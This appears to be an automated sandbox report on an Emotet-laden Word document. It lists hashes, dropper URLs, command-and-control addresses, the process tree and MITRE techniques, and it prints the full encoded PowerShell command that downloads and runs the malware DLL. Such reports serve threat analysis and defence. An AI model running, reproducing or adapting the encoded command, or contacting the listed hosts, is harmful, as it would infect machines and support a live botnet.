Analysis

  • max time kernel
    139s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    06-01-2021 17:16

General

  • Target

    rapport_28024-52319151.doc

  • Size

    168KB

  • MD5

    39a05922d34642ee4958304add8d54eb

  • SHA1

    3cb5fd2ba8ad02ce3249fae91a8aeacc9f4deacb

  • SHA256

    97db35169efb4ca721fe80b4450f20bb14bc9bbef1e971c06696aeff14b87d2e

  • SHA512

    8488991a4a866d85f34680d2a9e5d9268de2b24a9059ec920542b6938222ef948a50e1826b8a154fe4ab4cd859e025407213f2c325c3f7634f0eeea5a8c03649

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://petafilm.com/wp-admin/4m/

exe.dropper

http://givingthanksdaily.com/qlE/VeF/

exe.dropper

http://wap.zhonglisc.com/wp-includes/QryCB/

exe.dropper

https://fnjbq.com/wp-includes/rlR/

exe.dropper

https://sakhisuhaninarijeevika.com/wp-includes/CvGUjvE/

exe.dropper

http://zieflix.teleskopstore.com/cgi-bin/Gt3S/

exe.dropper

https://somanap.com/wp-admin/P/

Extracted

Family

emotet

Botnet

Epoch1

C2

5.2.136.90:80

186.147.237.3:8080

138.197.99.250:8080

167.71.148.58:443

211.215.18.93:8080

187.162.248.237:80

1.226.84.243:8080

110.39.160.38:443

5.196.35.138:7080

59.148.253.194:8080

45.16.226.117:443

95.76.153.115:80

181.61.182.143:80

46.43.2.95:8080

188.135.15.49:80

81.215.230.173:443

45.4.32.50:80

81.214.253.80:443

94.176.234.118:443

212.71.237.140:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\rapport_28024-52319151.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:540
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsAJwAvAGYAJwArACcAbgAnACsAJwBqAGIAcQAuAGMAbwBtAC8AdwBwAC0AaQAnACkAKwAoACcAbgBjACcAKwAnAGwAdQBkAGUAJwArACcAcwAvACcAKQArACgAJwByACcAKwAnAGwAUgAvAEAAJwArACcAXQBhAG4AdwBbACcAKwAnADMAcwAnACsAJwA6AC8ALwBzAGEAawAnACkAKwAoACcAaAAnACsAJwBpAHMAdQBoACcAKwAnAGEAbgAnACkAKwAnAGkAJwArACgAJwBuACcAKwAnAGEAcgBpAGoAZQAnACkAKwAoACcAZQB2AGkAawAnACsAJwBhAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAJwB3ACcAKwAoACcAcAAnACsAJwAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsAHUAZAAnACkAKwAoACcAZQBzACcAKwAnAC8AQwB2AEcAJwApACsAKAAnAFUAJwArACcAagB2AEUALwBAAF0AJwArACcAYQBuAHcAWwAzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB6ACcAKwAnAGkAZQBmAGwAaQB4ACcAKQArACgAJwAuACcAKwAnAHQAZQBsAGUAJwArACcAcwBrACcAKwAnAG8AJwArACcAcABzAHQAbwByAGUALgBjAG8AJwArACcAbQAnACkAKwAnAC8AYwAnACsAJwBnAGkAJwArACgAJwAtACcAKwAnAGIAaQBuACcAKQArACgAJwAvAEcAJwArACcAdAAzAFMALwBAACcAKQArACcAXQAnACsAJwBhAG4AJwArACgAJwB3AFsAJwArACcAMwAnACkAKwAnAHMAOgAnACsAKAAnAC8ALwBzAG8AbQBhAG4AYQBwAC4AYwBvACcAKwAnAG0ALwB3AHAAJwArACcALQBhAGQAJwArACcAbQAnACkAKwAoACcAaQBuACcAKwAnAC8AJwApACsAJwBQAC8AJwApAC4AIgByAGUAUABMAGAAQQBjAEUAIgAoACgAKAAnAF0AYQAnACsAJwBuAHcAJwApACsAJwBbACcAKwAnADMAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBzAGQAJwAsACcAcwB3ACcAKQAsACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAAnACkALAAnADMAZAAnACkAWwAxAF0AKQAuACIAcwBgAHAAbABpAFQAIgAoACQAUQA5ADMASAAgACsAIAAkAEgAYwA2AGMANgB1AHkAIAArACAAJABIADgAOQBaACkAOwAkAEUANwA1AFYAPQAoACgAJwBJACcAKwAnADEANwAnACkAKwAnAFgAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABDAGoAawBlADAAbABlACAAaQBuACAAJABHAHIANgB4AF8AaABfACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcAJwArACcALQBPAGIAagBlAGMAJwArACcAdAAnACkAIABzAHkAUwB0AGUAbQAuAE4AZQB0AC4AVwBFAGIAYwBMAEkARQBuAHQAKQAuACIAZABvAHcAYABOAGwATwBgAEEAYABEAGYASQBsAGUAIgAoACQAQwBqAGsAZQAwAGwAZQAsACAAJABXADcAaQBvADAAdwBnACkAOwAkAFIANQA1AFMAPQAoACcAQgAnACsAKAAnADYANgAnACsAJwBTACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFcANwBpAG8AMAB3AGcAKQAuACIAbABgAEUAbgBHAGAAVABoACIAIAAtAGcAZQAgADQAMwAxADIANgApACAAewAmACgAJwByAHUAbgAnACsAJwBkACcAKwAnAGwAbAAzADIAJwApACAAJABXADcAaQBvADAAdwBnACwAKAAoACcAQwBvAG4AJwArACcAdAByAG8AJwApACsAKAAnAGwAJwArACcAXwBSAHUAJwApACsAJwBuAEQAJwArACcATABMACcAKQAuACIAdABgAE8AcwBgAFQAUgBJAG4AZwAiACgAKQA7ACQAWgAwADAAUAA9ACgAKAAnAFIAOQAnACsAJwA0ACcAKQArACcASgAnACkAOwBiAHIAZQBhAGsAOwAkAEcAOQAyAEkAPQAoACcAVQA4ACcAKwAnADkAWQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAMQA3AE0APQAoACcASwA3ACcAKwAnADkAVQAnACkA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:3060
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:2896
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsAJwAvAGYAJwArACcAbgAnACsAJwBqAGIAcQAuAGMAbwBtAC8AdwBwAC0AaQAnACkAKwAoACcAbgBjACcAKwAnAGwAdQBkAGUAJwArACcAcwAvACcAKQArACgAJwByACcAKwAnAGwAUgAvAEAAJwArACcAXQBhAG4AdwBbACcAKwAnADMAcwAnACsAJwA6AC8ALwBzAGEAawAnACkAKwAoACcAaAAnACsAJwBpAHMAdQBoACcAKwAnAGEAbgAnACkAKwAnAGkAJwArACgAJwBuACcAKwAnAGEAcgBpAGoAZQAnACkAKwAoACcAZQB2AGkAawAnACsAJwBhAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAJwB3ACcAKwAoACcAcAAnACsAJwAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsAHUAZAAnACkAKwAoACcAZQBzACcAKwAnAC8AQwB2AEcAJwApACsAKAAnAFUAJwArACcAagB2AEUALwBAAF0AJwArACcAYQBuAHcAWwAzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB6ACcAKwAnAGkAZQBmAGwAaQB4ACcAKQArACgAJwAuACcAKwAnAHQAZQBsAGUAJwArACcAcwBrACcAKwAnAG8AJwArACcAcABzAHQAbwByAGUALgBjAG8AJwArACcAbQAnACkAKwAnAC8AYwAnACsAJwBnAGkAJwArACgAJwAtACcAKwAnAGIAaQBuACcAKQArACgAJwAvAEcAJwArACcAdAAzAFMALwBAACcAKQArACcAXQAnACsAJwBhAG4AJwArACgAJwB3AFsAJwArACcAMwAnACkAKwAnAHMAOgAnACsAKAAnAC8ALwBzAG8AbQBhAG4AYQBwAC4AYwBvACcAKwAnAG0ALwB3AHAAJwArACcALQBhAGQAJwArACcAbQAnACkAKwAoACcAaQBuACcAKwAnAC8AJwApACsAJwBQAC8AJwApAC4AIgByAGUAUABMAGAAQQBjAEUAIgAoACgAKAAnAF0AYQAnACsAJwBuAHcAJwApACsAJwBbACcAKwAnADMAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBzAGQAJwAsACcAcwB3ACcAKQAsACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAAnACkALAAnADMAZAAnACkAWwAxAF0AKQAuACIAcwBgAHAAbABpAFQAIgAoACQAUQA5ADMASAAgACsAIAAkAEgAYwA2AGMANgB1AHkAIAArACAAJABIADgAOQBaACkAOwAkAEUANwA1AFYAPQAoACgAJwBJACcAKwAnADEANwAnACkAKwAnAFgAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABDAGoAawBlADAAbABlACAAaQBuACAAJABHAHIANgB4AF8AaABfACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcAJwArACcALQBPAGIAagBlAGMAJwArACcAdAAnACkAIABzAHkAUwB0AGUAbQAuAE4AZQB0AC4AVwBFAGIAYwBMAEkARQBuAHQAKQAuACIAZABvAHcAYABOAGwATwBgAEEAYABEAGYASQBsAGUAIgAoACQAQwBqAGsAZQAwAGwAZQAsACAAJABXADcAaQBvADAAdwBnACkAOwAkAFIANQA1AFMAPQAoACcAQgAnACsAKAAnADYANgAnACsAJwBTACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFcANwBpAG8AMAB3AGcAKQAuACIAbABgAEUAbgBHAGAAVABoACIAIAAtAGcAZQAgADQAMwAxADIANgApACAAewAmACgAJwByAHUAbgAnACsAJwBkACcAKwAnAGwAbAAzADIAJwApACAAJABXADcAaQBvADAAdwBnACwAKAAoACcAQwBvAG4AJwArACcAdAByAG8AJwApACsAKAAnAGwAJwArACcAXwBSAHUAJwApACsAJwBuAEQAJwArACcATABMACcAKQAuACIAdABgAE8AcwBgAFQAUgBJAG4AZwAiACgAKQA7ACQAWgAwADAAUAA9ACgAKAAnAFIAOQAnACsAJwA0ACcAKQArACcASgAnACkAOwBiAHIAZQBhAGsAOwAkAEcAOQAyAEkAPQAoACcAVQA4ACcAKwAnADkAWQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAMQA3AE0APQAoACcASwA3ACcAKwAnADkAVQAnACkA
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2600
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\C3re5c3\Di_p3c9\O_5Z.dll,Control_RunDLL
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3888
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\C3re5c3\Di_p3c9\O_5Z.dll,Control_RunDLL
            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:1560
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ijezxypfgyta\qnyhhnrpigu.sgg",Control_RunDLL
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              PID:3004

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

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    Downloads

    • C:\Users\Admin\C3re5c3\Di_p3c9\O_5Z.dll
      MD5

      ba1c37b4487b5a014b8a17976720f78a

      SHA1

      0a703e255d1e37aaccb423702c9e3491ae4e4a2b

      SHA256

      11e7dee1f9b3e3e7d43f1f96bc17bce46de93bbf6ec27e6e9488cbdbd8109e5c

      SHA512

      0b02450d1682f782366f546fff7aa03f26314ec57406310b69ad1a3b501404ff0fa216ac19d329f2227e83069b4b6b2e4912af72f6b1da13bbc1b5a03c7a9c05

    • \Users\Admin\C3re5c3\Di_p3c9\O_5Z.dll
      MD5

      ba1c37b4487b5a014b8a17976720f78a

      SHA1

      0a703e255d1e37aaccb423702c9e3491ae4e4a2b

      SHA256

      11e7dee1f9b3e3e7d43f1f96bc17bce46de93bbf6ec27e6e9488cbdbd8109e5c

      SHA512

      0b02450d1682f782366f546fff7aa03f26314ec57406310b69ad1a3b501404ff0fa216ac19d329f2227e83069b4b6b2e4912af72f6b1da13bbc1b5a03c7a9c05

    • memory/540-2-0x000001F352A60000-0x000001F353097000-memory.dmp
      Filesize

      6.2MB

    • memory/1560-12-0x0000000000C70000-0x0000000000C8F000-memory.dmp
      Filesize

      124KB

    • memory/1560-10-0x0000000000000000-mapping.dmp
    • memory/2600-5-0x00007FF99C510000-0x00007FF99CEFC000-memory.dmp
      Filesize

      9.9MB

    • memory/2600-7-0x000001BECA4E0000-0x000001BECA4E1000-memory.dmp
      Filesize

      4KB

    • memory/2600-6-0x000001BEB1D60000-0x000001BEB1D61000-memory.dmp
      Filesize

      4KB

    • memory/2600-4-0x0000000000000000-mapping.dmp
    • memory/2896-3-0x0000000000000000-mapping.dmp
    • memory/3004-13-0x0000000000000000-mapping.dmp
    • memory/3004-14-0x00000000048F0000-0x000000000490F000-memory.dmp
      Filesize

      124KB

    • memory/3888-8-0x0000000000000000-mapping.dmp